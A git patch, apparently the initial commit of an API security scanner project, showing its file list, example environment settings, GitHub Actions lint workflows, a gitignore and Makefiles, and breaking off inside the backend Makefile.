From 7b0a43aaea2a43e8129f07c703ef4d9d861f65c8 Mon Sep 17 00:00:00 2001 From: CarterPerez-dev Date: Mon, 10 Nov 2025 13:31:29 -0500 Subject: [PATCH] initial --- api-security-scanner/.env.example | 85 + .../.github/workflows/eslint-check.yml | 120 + .../.github/workflows/lint.yml | 156 + .../.github/workflows/typescript-check.yml | 129 + api-security-scanner/.gitignore | 50 + api-security-scanner/Makefile | 57 + api-security-scanner/backend/.style.yapf | 47 + api-security-scanner/backend/Makefile | 154 + api-security-scanner/backend/__init__.py | 4 + api-security-scanner/backend/config.py | 103 + api-security-scanner/backend/core/__init__.py | 1 + api-security-scanner/backend/core/database.py | 39 + .../backend/core/dependencies.py | 46 + api-security-scanner/backend/core/enums.py | 35 + api-security-scanner/backend/core/security.py | 74 + api-security-scanner/backend/factory.py | 77 + api-security-scanner/backend/main.py | 20 + api-security-scanner/backend/models/Base.py | 78 + api-security-scanner/backend/models/Scan.py | 83 + .../backend/models/TestResult.py | 89 + api-security-scanner/backend/models/User.py | 45 + .../backend/models/__init__.py | 18 + api-security-scanner/backend/pyproject.toml | 257 + .../backend/repositories/__init__.py | 12 + .../backend/repositories/scan_repository.py | 159 + .../repositories/test_result_repository.py | 177 + .../backend/repositories/user_repository.py | 147 + api-security-scanner/backend/requirements.txt | 28 + .../backend/routes/__init__.py | 11 + api-security-scanner/backend/routes/auth.py | 63 + api-security-scanner/backend/routes/scans.py | 100 + .../backend/scanners/__init__.py | 16 + .../backend/scanners/auth_scanner.py | 381 + .../backend/scanners/base_scanner.py | 284 + .../backend/scanners/idor_scanner.py | 335 + .../backend/scanners/payloads.py | 463 + .../backend/scanners/rate_limit_scanner.py | 354 + .../backend/scanners/sqli_scanner.py | 316 + .../backend/schemas/__init__.py | 30 + .../backend/schemas/scan_schemas.py | 63 + .../backend/schemas/test_result_schemas.py | 61 + .../backend/schemas/user_schemas.py | 55 + .../backend/services/__init__.py | 13 + .../backend/services/auth_service.py | 132 + .../backend/services/scan_service.py | 194 + .../conf/docker/dev/fastapi.docker | 34 + .../conf/docker/dev/vite.docker | 24 + .../conf/docker/prod/fastapi.docker | 48 + .../conf/docker/prod/vite.docker | 44 + api-security-scanner/conf/nginx/dev.nginx | 61 + api-security-scanner/conf/nginx/http.conf | 28 + api-security-scanner/conf/nginx/prod.nginx | 136 + api-security-scanner/docker-compose.dev.yml | 88 + api-security-scanner/docker-compose.prod.yml | 80 + api-security-scanner/frontend/.gitignore | 24 + .../frontend/eslint.config.js | 122 + api-security-scanner/frontend/index.html | 23 + .../frontend/package-lock.json | 8160 +++++++++++++++++ api-security-scanner/frontend/package.json | 60 + .../public/android-chrome-192x192.png | Bin 0 -> 18165 bytes .../public/android-chrome-512x512.png | Bin 0 -> 107555 bytes .../frontend/public/apple-touch-icon.png | Bin 0 -> 16103 bytes .../frontend/public/favicon-16x16.png | Bin 0 -> 378 bytes .../frontend/public/favicon-32x32.png | Bin 0 -> 878 bytes .../frontend/public/favicon.ico | Bin 0 -> 15406 bytes .../frontend/public/site.webmanifest | 1 + api-security-scanner/frontend/src/App.tsx | 24 + .../frontend/src/config/constants.ts | 85 + api-security-scanner/frontend/src/lib/api.ts | 51 + .../frontend/src/lib/queryClient.ts | 19 + api-security-scanner/frontend/src/main.tsx | 14 + api-security-scanner/frontend/src/router.tsx | 51 + .../frontend/tsconfig.app.json | 28 + api-security-scanner/frontend/tsconfig.json | 7 + .../frontend/tsconfig.node.json | 22 + api-security-scanner/frontend/vite.config.ts | 41 + api-security-scanner/package.json | 33 + checklist.md | 698 ++ 78 files changed, 15167 insertions(+) create mode 100644 api-security-scanner/.env.example create mode 100644 api-security-scanner/.github/workflows/eslint-check.yml create mode 100755 api-security-scanner/.github/workflows/lint.yml create mode 100644 api-security-scanner/.github/workflows/typescript-check.yml create mode 100644 api-security-scanner/.gitignore create mode 100644 api-security-scanner/Makefile create mode 100755 api-security-scanner/backend/.style.yapf create mode 100644 api-security-scanner/backend/Makefile create mode 100644 api-security-scanner/backend/__init__.py create mode 100644 api-security-scanner/backend/config.py create mode 100644 api-security-scanner/backend/core/__init__.py create mode 100644 api-security-scanner/backend/core/database.py create mode 100644 api-security-scanner/backend/core/dependencies.py create mode 100644 api-security-scanner/backend/core/enums.py create mode 100644 api-security-scanner/backend/core/security.py create mode 100644 api-security-scanner/backend/factory.py create mode 100644 api-security-scanner/backend/main.py create mode 100644 api-security-scanner/backend/models/Base.py create mode 100644 api-security-scanner/backend/models/Scan.py create mode 100644 api-security-scanner/backend/models/TestResult.py create mode 100644 api-security-scanner/backend/models/User.py create mode 100644 api-security-scanner/backend/models/__init__.py create mode 100644 api-security-scanner/backend/pyproject.toml create mode 100644 api-security-scanner/backend/repositories/__init__.py create mode 100644 api-security-scanner/backend/repositories/scan_repository.py create mode 100644 api-security-scanner/backend/repositories/test_result_repository.py create mode 100644 api-security-scanner/backend/repositories/user_repository.py create mode 100644 api-security-scanner/backend/requirements.txt create mode 100644 api-security-scanner/backend/routes/__init__.py create mode 100644 api-security-scanner/backend/routes/auth.py create mode 100644 api-security-scanner/backend/routes/scans.py create mode 100644 api-security-scanner/backend/scanners/__init__.py create mode 100644 api-security-scanner/backend/scanners/auth_scanner.py create mode 100644 api-security-scanner/backend/scanners/base_scanner.py create mode 100644 api-security-scanner/backend/scanners/idor_scanner.py create mode 100644 api-security-scanner/backend/scanners/payloads.py create mode 100644 api-security-scanner/backend/scanners/rate_limit_scanner.py create mode 100644 api-security-scanner/backend/scanners/sqli_scanner.py create mode 100644 api-security-scanner/backend/schemas/__init__.py create mode 100644 api-security-scanner/backend/schemas/scan_schemas.py create mode 100644 api-security-scanner/backend/schemas/test_result_schemas.py create mode 100644 api-security-scanner/backend/schemas/user_schemas.py create mode 100644 api-security-scanner/backend/services/__init__.py create mode 100644 api-security-scanner/backend/services/auth_service.py create mode 100644 api-security-scanner/backend/services/scan_service.py create mode 100644 api-security-scanner/conf/docker/dev/fastapi.docker create mode 100644 api-security-scanner/conf/docker/dev/vite.docker create mode 100644 api-security-scanner/conf/docker/prod/fastapi.docker create mode 100644 api-security-scanner/conf/docker/prod/vite.docker create mode 100644 api-security-scanner/conf/nginx/dev.nginx create mode 100644 api-security-scanner/conf/nginx/http.conf create mode 100644 api-security-scanner/conf/nginx/prod.nginx create mode 100644 api-security-scanner/docker-compose.dev.yml create mode 100644 api-security-scanner/docker-compose.prod.yml create mode 100644 api-security-scanner/frontend/.gitignore create mode 100644 api-security-scanner/frontend/eslint.config.js create mode 100644 api-security-scanner/frontend/index.html create mode 100644 api-security-scanner/frontend/package-lock.json create mode 100644 api-security-scanner/frontend/package.json create mode 100644 api-security-scanner/frontend/public/android-chrome-192x192.png create mode 100644 api-security-scanner/frontend/public/android-chrome-512x512.png create mode 100644 api-security-scanner/frontend/public/apple-touch-icon.png create mode 100644 api-security-scanner/frontend/public/favicon-16x16.png create mode 100644 api-security-scanner/frontend/public/favicon-32x32.png create mode 100644 api-security-scanner/frontend/public/favicon.ico create mode 100644 api-security-scanner/frontend/public/site.webmanifest create mode 100644 api-security-scanner/frontend/src/App.tsx create mode 100644 api-security-scanner/frontend/src/config/constants.ts create mode 100644 api-security-scanner/frontend/src/lib/api.ts create mode 100644 api-security-scanner/frontend/src/lib/queryClient.ts create mode 100644 api-security-scanner/frontend/src/main.tsx create mode 100644 api-security-scanner/frontend/src/router.tsx create mode 100644 api-security-scanner/frontend/tsconfig.app.json create mode 100644 api-security-scanner/frontend/tsconfig.json create mode 100644 api-security-scanner/frontend/tsconfig.node.json create mode 100644 api-security-scanner/frontend/vite.config.ts create mode 100644 api-security-scanner/package.json create mode 100644 checklist.md diff --git a/api-security-scanner/.env.example b/api-security-scanner/.env.example new file mode 100644 index 00000000..8e4e3786 --- /dev/null +++ b/api-security-scanner/.env.example @@ -0,0 +1,85 @@ +# ⒸAngelaMos | 2025 +# --------------------------------------------- +# API Security Scanner - Environment Variables +# Copy this file to .env and update the values + +# Application Settings +APP_NAME="API Security Tester" +VERSION="1.0.0" +DEBUG=true + +# Security +# IMPORTANT: Generate a secure random key for production! +# Example: openssl rand -hex 32 +SECRET_KEY=your-secret-key-change-this-in-production +ALGORITHM=HS256 +ACCESS_TOKEN_EXPIRE_MINUTES=1440 + +# Database (PostgreSQL) +# For local development (outside Docker) +POSTGRES_USER=apiuser +POSTGRES_PASSWORD=apipass +POSTGRES_DB=apisecurity +POSTGRES_HOST=localhost +POSTGRES_PORT=5432 + +# Database URL (overridden by docker-compose for container networking) +DATABASE_URL=postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB} + +# Backend API +BACKEND_HOST=0.0.0.0 +BACKEND_PORT=8000 + +# CORS Origins (comma-separated for multiple origins) +# Include both direct Vite dev server (5173) and nginx proxy (80) +CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost + +# Frontend API URL +# When using Docker with nginx: http://localhost/api +# When running Vite directly (npm run dev): http://localhost:8000 +VITE_API_URL=http://localhost/api + +# --------------------------------------------- +# Docker Host Port Mappings +# --------------------------------------------- +# Change these if you have port conflicts on your host machine +# Format: HOST_PORT:CONTAINER_PORT (only HOST_PORT is configurable) +HOST_DB_PORT=5432 +HOST_BACKEND_PORT=8000 +HOST_FRONTEND_PORT=5173 +HOST_NGINX_PORT=80 +# Uncomment for production HTTPS: +# HOST_NGINX_HTTPS_PORT=443 + +# --------------------------------------------- +# Scanner Configuration +# --------------------------------------------- +# Default maximum requests for scans +DEFAULT_MAX_REQUESTS=100 +DEFAULT_TIMEOUT_SECONDS=10 +DEFAULT_RETRY_COUNT=3 + +# Scanner rate limiting (outgoing requests to target) +SCANNER_RATE_LIMIT_THRESHOLD=100 +SCANNER_RATE_LIMIT_WINDOW_SECONDS=60 + +# Scanner timeouts and connection limits +SCANNER_MAX_CONCURRENT_REQUESTS=50 +SCANNER_CONNECTION_TIMEOUT=30 +SCANNER_READ_TIMEOUT=30 + +# Scanner request spacing and timing +DEFAULT_JITTER_MS=100 +DEFAULT_RETRY_WAIT_SECONDS=60 +DEFAULT_BASELINE_SAMPLES=10 + +# Field Validation Constants +PASSWORD_MIN_LENGTH=8 +PASSWORD_MAX_LENGTH=100 +EMAIL_MAX_LENGTH=255 +URL_MAX_LENGTH=2048 + +# Production Settings (optional, uncomment for prod) +# DEBUG=false +# CORS_ORIGINS=https://yourdomain.com +# VITE_API_URL=https://api.yourdomain.com diff --git a/api-security-scanner/.github/workflows/eslint-check.yml b/api-security-scanner/.github/workflows/eslint-check.yml new file mode 100644 index 00000000..67bc1bf3 --- /dev/null +++ b/api-security-scanner/.github/workflows/eslint-check.yml @@ -0,0 +1,120 @@ +name: ESLint Check + +on: + pull_request: + branches: [ '*' ] + paths: + - 'frontend/**/*.ts' + - 'frontend/**/*.tsx' + - 'frontend/eslint.config.js' + - 'frontend/tsconfig*.json' + - 'frontend/package.json' + - '.github/workflows/eslint-check.yml' + +jobs: + eslint-check: + name: ESLint TypeScript Check + runs-on: ubuntu-latest + + permissions: + pull-requests: write + contents: read + + defaults: + run: + working-directory: frontend + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + cache-dependency-path: frontend/package-lock.json + + - name: Install dependencies + run: npm install + + - name: Run ESLint + id: eslint_check + run: | + echo "Running ESLint on TypeScript/React files..." + if npm run lint:eslint > eslint-output.txt 2>&1; then + echo "ESLINT_PASSED=true" >> $GITHUB_ENV + echo "✅ No ESLint errors found!" + echo "ERROR_COUNT=0" >> $GITHUB_ENV + else + echo "ESLINT_PASSED=false" >> $GITHUB_ENV + # Count error lines (lines that contain file paths with problems) + error_count=$(grep -c "^/" eslint-output.txt || echo "0") + echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV + echo "⚠️ ESLint found issues in $error_count files!" + fi + cat eslint-output.txt + continue-on-error: true + + - name: Create ESLint Summary + id: create_summary + if: github.event_name == 'pull_request' + run: | + { + echo '## 🔍 ESLint Results' + echo '' + + if [[ "${{ env.ESLINT_PASSED }}" == "true" ]]; then + echo '### ✅ **Perfect! No ESLint issues found** 🎉' + echo '' + echo 'Your TypeScript and React code follows all the coding standards perfectly!' + echo '' + echo '**What was checked:**' + echo '- TypeScript strict type checking and stylistic rules' + echo '- React component patterns and hooks usage' + echo '- Code complexity, naming conventions, and best practices' + echo '- Accessibility (jsx-a11y) and React Refresh compatibility' + else + echo '### ❌ **ESLint found issues in ${{ env.ERROR_COUNT }} files**' + echo '' + echo 'Please review and fix the TypeScript/React issues below:' + echo '' + echo '
📋 View detailed ESLint output' + echo '' + echo '```' + head -100 eslint-output.txt + echo '```' + echo '
' + echo '' + echo '**How to fix:**' + echo '1. Run `cd frontend && npm run lint:eslint` locally to see the issues' + echo '2. Fix the reported TypeScript, React, and code quality problems' + echo '3. For auto-fixable issues: `cd frontend && npx eslint . --ext .ts,.tsx --fix`' + echo '4. Push your changes to update this PR' + fi + echo '' + echo '**Commands:**' + echo '- `cd frontend && npm run lint:eslint` - Run ESLint' + echo '- `cd frontend && npx eslint . --ext .ts,.tsx --fix` - Auto-fix issues' + echo '- ESLint config: `frontend/eslint.config.js`' + echo '' + echo '' + } > eslint-report.md + + - name: Post PR Comment + if: github.event_name == 'pull_request' + uses: peter-evans/create-or-update-comment@v4 + with: + issue-number: ${{ github.event.pull_request.number }} + body-path: frontend/eslint-report.md + edit-mode: replace + + - name: Exit with proper code + run: | + if [[ "${{ env.ESLINT_PASSED }}" == "false" ]]; then + echo "❌ ESLint checks failed. Please fix the issues above." + exit 1 + else + echo "✅ All ESLint checks passed!" + exit 0 + fi diff --git a/api-security-scanner/.github/workflows/lint.yml b/api-security-scanner/.github/workflows/lint.yml new file mode 100755 index 00000000..1515e776 --- /dev/null +++ b/api-security-scanner/.github/workflows/lint.yml @@ -0,0 +1,156 @@ +name: Lint & Type Check + +on: + pull_request: + branches: [ '*' ] + workflow_dispatch: + +jobs: + lint: + name: Run Linters + runs-on: ubuntu-latest + + permissions: + pull-requests: write + contents: read + + defaults: + run: + working-directory: backend + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.12' + + - name: Cache pip dependencies + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ hashFiles('backend/pyproject.toml') }} + restore-keys: | + ${{ runner.os }}-pip- + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -e ".[dev]" + + - name: Run pylint + id: pylint + run: | + echo "Running pylint..." + if pylint . > pylint-output.txt 2>&1; then + echo "PYLINT_PASSED=true" >> $GITHUB_ENV + echo "✅ No pylint errors found!" + else + echo "PYLINT_PASSED=false" >> $GITHUB_ENV + echo "⚠️ Pylint found issues!" + fi + cat pylint-output.txt + continue-on-error: true + + - name: Run ruff + id: ruff + run: | + echo "Running ruff check..." + if ruff check . > ruff-output.txt 2>&1; then + echo "RUFF_PASSED=true" >> $GITHUB_ENV + echo "✅ No ruff errors found!" + else + echo "RUFF_PASSED=false" >> $GITHUB_ENV + echo "⚠️ Ruff found issues" + fi + cat ruff-output.txt + continue-on-error: true + + - name: Run mypy + id: mypy + run: | + echo "Running mypy..." + if mypy . > mypy-output.txt 2>&1; then + echo "MYPY_PASSED=true" >> $GITHUB_ENV + echo "✅ No mypy errors found" + else + echo "MYPY_PASSED=false" >> $GITHUB_ENV + echo "⚠️ Mypy found issues" + fi + cat mypy-output.txt + continue-on-error: true + + - name: Create Lint Summary + id: create_summary + if: github.event_name == 'pull_request' + run: | + { + echo '## 🔍 Lint & Type Check Results' + echo '' + + # Pylint Status + if [[ "${{ env.PYLINT_PASSED }}" == "true" ]]; then + echo '### ✅ Pylint: **Passed**' + echo 'No pylint issues found.' + else + echo '### ⚠️ Pylint: **Issues Found**' + echo '
View pylint output' + echo '' + echo '```' + head -100 pylint-output.txt + echo '```' + echo '
' + fi + echo '' + + # Ruff Status + if [[ "${{ env.RUFF_PASSED }}" == "true" ]]; then + echo '### ✅ Ruff: **Passed**' + echo 'No ruff issues found.' + else + echo '### ⚠️ Ruff: **Issues Found**' + echo '
View ruff output' + echo '' + echo '```' + head -100 ruff-output.txt + echo '```' + echo '
' + fi + echo '' + + # Mypy Status + if [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then + echo '### ✅ Mypy: **Passed**' + echo 'No mypy issues found.' + else + echo '### ⚠️ Mypy: **Issues Found**' + echo '
View mypy output' + echo '' + echo '```' + head -100 mypy-output.txt + echo '```' + echo '
' + fi + echo '' + + # Overall Summary + if [[ "${{ env.PYLINT_PASSED }}" == "true" ]] && [[ "${{ env.RUFF_PASSED }}" == "true" ]] && [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then + echo '---' + echo '### All checks passed!' + else + echo '---' + echo '### Review the issues above and consider fixing them.' + fi + echo '' + echo '' + } > ../lint-report.md + + - name: Post PR Comment + if: github.event_name == 'pull_request' + uses: peter-evans/create-or-update-comment@v4 + with: + issue-number: ${{ github.event.pull_request.number }} + body-path: lint-report.md + comment-marker: lint-check-comment-marker diff --git a/api-security-scanner/.github/workflows/typescript-check.yml b/api-security-scanner/.github/workflows/typescript-check.yml new file mode 100644 index 00000000..51a21615 --- /dev/null +++ b/api-security-scanner/.github/workflows/typescript-check.yml @@ -0,0 +1,129 @@ +name: TypeScript Type Check + +on: + pull_request: + branches: [ '*' ] + paths: + - 'frontend/**/*.ts' + - 'frontend/**/*.tsx' + - 'frontend/tsconfig*.json' + - 'frontend/package.json' + - '.github/workflows/typescript-check.yml' + +jobs: + typescript-check: + name: TypeScript Type Check + runs-on: ubuntu-latest + + permissions: + pull-requests: write + contents: read + + defaults: + run: + working-directory: frontend + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + cache-dependency-path: frontend/package-lock.json + + - name: Install dependencies + run: | + for i in {1..3}; do + echo "Attempt $i of 3..." + if npm install; then + echo "✅ npm install succeeded" + break + else + echo "⚠️ npm install failed, retrying in 10 seconds..." + sleep 10 + fi + done + + - name: Run TypeScript type checking + id: typescript_check + run: | + echo "Running TypeScript type checking..." + if npm run lint:types > typescript-output.txt 2>&1; then + echo "TYPESCRIPT_PASSED=true" >> $GITHUB_ENV + echo "✅ No TypeScript type errors found!" + echo "ERROR_COUNT=0" >> $GITHUB_ENV + else + echo "TYPESCRIPT_PASSED=false" >> $GITHUB_ENV + # Count error lines (lines that contain errors) + error_count=$(grep -c "error TS" typescript-output.txt || echo "0") + echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV + echo "⚠️ TypeScript found $error_count type errors!" + fi + cat typescript-output.txt + continue-on-error: true + + - name: Create TypeScript Summary + id: create_summary + if: github.event_name == 'pull_request' + run: | + { + echo '## 📝 TypeScript Type Check Results' + echo '' + + if [[ "${{ env.TYPESCRIPT_PASSED }}" == "true" ]]; then + echo '### ✅ **Perfect! No TypeScript type errors found** 🎉' + echo '' + echo 'Your TypeScript code passes all strict type checking requirements!' + echo '' + echo '**What was checked:**' + echo '- Strict type checking with `exactOptionalPropertyTypes`' + echo '- No unused locals or parameters' + echo '- Proper return types and void expressions' + echo '- Module resolution and import/export syntax' + else + echo '### ❌ **TypeScript found ${{ env.ERROR_COUNT }} type errors**' + echo '' + echo 'Please review and fix the TypeScript type errors below:' + echo '' + echo '
📋 View detailed TypeScript output' + echo '' + echo '```' + head -100 typescript-output.txt + echo '```' + echo '
' + echo '' + echo '**How to fix:**' + echo '1. Run `cd frontend && npm run lint:types` locally to see the type errors' + echo '2. Fix the reported TypeScript type issues' + echo '3. Ensure all variables have proper types and return types are explicit' + echo '4. Push your changes to update this PR' + fi + echo '' + echo '**Commands:**' + echo '- `cd frontend && npm run lint:types` - Run TypeScript type checking' + echo '- `cd frontend && npm run build` - Run full build with type checking' + echo '- TypeScript config: `frontend/tsconfig.app.json`' + echo '' + echo '' + } > typescript-report.md + + - name: Post PR Comment + if: github.event_name == 'pull_request' + uses: peter-evans/create-or-update-comment@v4 + with: + issue-number: ${{ github.event.pull_request.number }} + body-path: frontend/typescript-report.md + edit-mode: replace + + - name: Exit with proper code + run: | + if [[ "${{ env.TYPESCRIPT_PASSED }}" == "false" ]]; then + echo "❌ TypeScript type checking failed. Please fix the type errors above." + exit 1 + else + echo "✅ All TypeScript type checks passed!" + exit 0 + fi diff --git a/api-security-scanner/.gitignore b/api-security-scanner/.gitignore new file mode 100644 index 00000000..49a7792a --- /dev/null +++ b/api-security-scanner/.gitignore @@ -0,0 +1,50 @@ +# ⒸAngelaMos | 2025 +# Gitignore - This is where you list files/folders that +# should not be publicly commited to the remote repository + +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +venv/ +env/ +ENV/ +.venv +*.cache +*.egg-info + +# FastAPI +.env +.env.local + +# Database +*.db +*.sqlite3 + +# IDEs +.vscode/ +.idea/ +*.swp +*.swo + +# Node/Frontend +node_modules/ +dist/ +build/ +.DS_Store + +# Logs +*.log + +# Testing +.pytest_cache/ +.coverage +htmlcov/ + +# Docker +.dockerignore + +# OS +Thumbs.db diff --git a/api-security-scanner/Makefile b/api-security-scanner/Makefile new file mode 100644 index 00000000..d96f1504 --- /dev/null +++ b/api-security-scanner/Makefile @@ -0,0 +1,57 @@ +# Makefile +# ⒸAngelaMos | 2025 +# Alias commands to easily run commands (use this or package.json scripts) + +.PHONY: help dev dev-build dev-down dev-logs prod prod-build prod-down prod-logs clean clean-all + +help: + @echo "API Security Scanner - Available Commands" + @echo "==========================================" + @echo "" + @echo "Development:" + @echo " make dev - Start development environment" + @echo " make dev-build - Build and start development environment" + @echo " make dev-down - Stop development environment" + @echo " make dev-logs - View development logs (follow mode)" + @echo "" + @echo "Production:" + @echo " make prod - Start production environment (detached)" + @echo " make prod-build - Build and start production environment" + @echo " make prod-down - Stop production environment" + @echo " make prod-logs - View production logs (follow mode)" + @echo "" + @echo "Cleanup:" + @echo " make clean - Stop all containers and remove volumes" + @echo " make clean-all - Clean + remove all Docker images/cache" + @echo "" + +dev: + docker compose -f docker-compose.dev.yml up + +dev-build: + docker compose -f docker-compose.dev.yml up --build + +dev-down: + docker compose -f docker-compose.dev.yml down + +dev-logs: + docker compose -f docker-compose.dev.yml logs -f + +prod: + docker compose -f docker-compose.prod.yml up -d + +prod-build: + docker compose -f docker-compose.prod.yml up --build -d + +prod-down: + docker compose -f docker-compose.prod.yml down + +prod-logs: + docker compose -f docker-compose.prod.yml logs -f + +clean: + docker compose -f docker-compose.dev.yml down -v + docker compose -f docker-compose.prod.yml down -v + +clean-all: clean + docker system prune -af --volumes diff --git a/api-security-scanner/backend/.style.yapf b/api-security-scanner/backend/.style.yapf new file mode 100755 index 00000000..981e93ac --- /dev/null +++ b/api-security-scanner/backend/.style.yapf @@ -0,0 +1,47 @@ +# ⒸAngelaMos | 2025 | CarterPerez-dev +[style] +based_on_style = pep8 +column_limit = 70 +indent_width = 4 +continuation_indent_width = 4 +indent_closing_brackets = false +dedent_closing_brackets = true +indent_blank_lines = false +spaces_before_comment = 2 +spaces_around_power_operator = false +spaces_around_default_or_named_assign = true +space_between_ending_comma_and_closing_bracket = false +space_inside_brackets = false +spaces_around_subscript_colon = true +blank_line_before_nested_class_or_def = false +blank_line_before_class_docstring = false +blank_lines_around_top_level_definition = 2 +blank_lines_between_top_level_imports_and_variables = 2 +blank_line_before_module_docstring = false +split_before_logical_operator = true +split_before_first_argument = true +split_before_named_assigns = true +split_complex_comprehension = true +split_before_expression_after_opening_paren = false +split_before_closing_bracket = true +split_all_comma_separated_values = true +split_all_top_level_comma_separated_values = false +coalesce_brackets = false +each_dict_entry_on_separate_line = true +allow_multiline_lambdas = false +allow_multiline_dictionary_keys = false +split_penalty_import_names = 0 +join_multiple_lines = false +align_closing_bracket_with_visual_indent = true +arithmetic_precedence_indication = false +split_penalty_for_added_line_split = 275 +use_tabs = false +split_before_dot = false +split_arguments_when_comma_terminated = true +i18n_function_call = ['_', 'N_', 'gettext', 'ngettext'] +i18n_comment = ['# Translators:', '# i18n:'] +split_penalty_comprehension = 80 +split_penalty_after_opening_bracket = 280 +split_penalty_before_if_expr = 0 +split_penalty_bitwise_operator = 290 +split_penalty_logical_operator = 0 diff --git a/api-security-scanner/backend/Makefile b/api-security-scanner/backend/Makefile new file mode 100644 index 00000000..c15582b9 --- /dev/null +++ b/api-security-scanner/backend/Makefile @@ -0,0 +1,154 @@ +# CertGames Backend Makefile +# 2025 | ©AngelaMos + + +PYTHON := python + +.DEFAULT_GOAL := dev + +MAKEFLAGS += --no-print-directory + +.PHONY: help dev install reinstall check fix mypy clean tree TODO pylint + + +define ASCII + @echo "\033[35m" + @echo " ⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿" + @echo " ⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿" + @echo " ⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉" + @echo " ⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀" + @echo " ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴" + @echo " ⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿" + @echo " ⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄" + @echo " ⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾" + @echo " ⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄" + @echo " ⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁" + @echo " ⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄" + @echo " ⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄" + @echo "\033[0m" +endef + + + +help: + @echo "\033[1;91mC\033[1;92me\033[1;93mr\033[1;94mt\033[1;95mG\033[1;96ma\033[1;91mm\033[1;92me\033[1;93ms\033[0m \033[1;94mBackend\033[0m \033[1;95mTesting\033[0m \033[1;96mCommands\033[0m" + @echo "\033[1;5;93m==============================================\033[0m" + @echo "" + @echo "\033[1;4;96mSetup:\033[0m" + @echo " \033[92mmake \033[36minstall-dev\033[0m \033[94m- Install development dependencies\033[0m" + @echo " \033[92mmake \033[36mreinstall\033[0m \033[94m- Reinstall all dependencies with upgrades\033[0m" + @echo "" + @echo "\033[1;4;91mSyntax Checking (Ruff):\033[0m" + @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Check all code for syntax issues\033[0m" + @echo "\033[1;4;91mSyntax Fixing (Ruff):\033[0m" + @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Fix all code of syntax issues\033[0m" + @echo "" + @echo "\033[1;4;94mType Checking (mypy):\033[0m" + @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Type check all code\033[0m" + @echo "\033[1;4;94mFormat:\033[0m" + @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Format code\033[0m" + @echo "" + @echo "\033[1;4;92mUtilities:\033[0m" + @echo " \033[92mmake \033[36mclean\033[0m \033[94m- Remove all cache files\033[0m" + @echo " \033[92mmake \033[36mtree\033[0m \033[94m- Display the file tree\033[0m" + @echo " \033[92mmake \033[36mTODO\033[0m \033[94m- Find All TODO \033[0m" + @echo "" + @echo "\033[1;93mCurrent default domain: \033[1;5;95m$(DOMAIN)\033[0m" + @echo "" + @echo "\033[1;4;93mAvailable domains:\033[0m" + @echo " \033[91maccount\033[0m, \033[92mcommunity\033[0m, \033[93mcontent\033[0m, \033[94mfreemium\033[0m, \033[95mgames\033[0m," + @echo " \033[96mmarketing\033[0m, \033[91mprogression\033[0m, \033[92mshop\033[0m, \033[93mtesting\033[0m, \033[94mtools\033[0m" + @echo "" + @echo "\033[95m ------------------------------" + @echo "\033[34m ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕" + @echo "\033[34m ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂" + @echo "\033[34m ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂" + @echo "\033[36m ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔" + @echo "\033[36m 